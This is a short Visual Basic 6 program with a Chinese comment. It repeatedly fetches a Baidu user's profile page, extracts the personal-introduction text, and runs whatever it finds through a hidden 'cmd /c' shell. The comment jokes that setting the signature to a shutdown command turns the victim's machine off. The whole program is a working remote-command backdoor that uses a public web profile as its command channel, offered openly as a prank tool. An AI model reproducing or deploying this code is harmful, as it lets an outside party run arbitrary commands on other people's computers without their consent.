Option Explicit Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long Dim objTimer As New clsWaitableTimer Private Sub Form_Load() Dim s1$, s2$ Me.Show Do s2 = getKey() If s2 <> "" And s2 <> s1 Then s1 = s2 Shell "cmd /c " & s2, 0 End If DoEvents Loop End Sub Private Function getKey() As String Dim strSource$, l1&, l2& strSource = getHtmlStr2("http://passport.baidu.com/?business&un=sysdzw") l1 = InStr(strSource, "个人简介：") l1 = InStr(l1, strSource, "<span class=""info-content"">") If l1 > 0 Then l1 = l1 + Len("<span class=""info-content"">") l2 = InStr(l1, strSource, "</span>") getKey = Mid(strSource, l1, l2 - l1) End If End Function Private Function getHtmlStr2$(strUrl$) Const tmpfile As String = "c:\tmp.tmp" URLDownloadToFile 0, strUrl, tmpfile, 0, 0 Do Until FileLen(tmpfile) DoEvents Loop Dim fn%, tmp$ fn = FreeFile Open tmpfile For Binary Access Read As #fn tmp = Space(FileLen(tmpfile)) Get #fn, , tmp Close #fn getHtmlStr2 = tmp End Function Private Sub Form_Unload(Cancel As Integer) End End Sub
只要修改博客里面的签名，程序就会调用cmd“执行该签名“，如果你的签名改成hutdown /s /f /t 0，呵呵，呵呵呵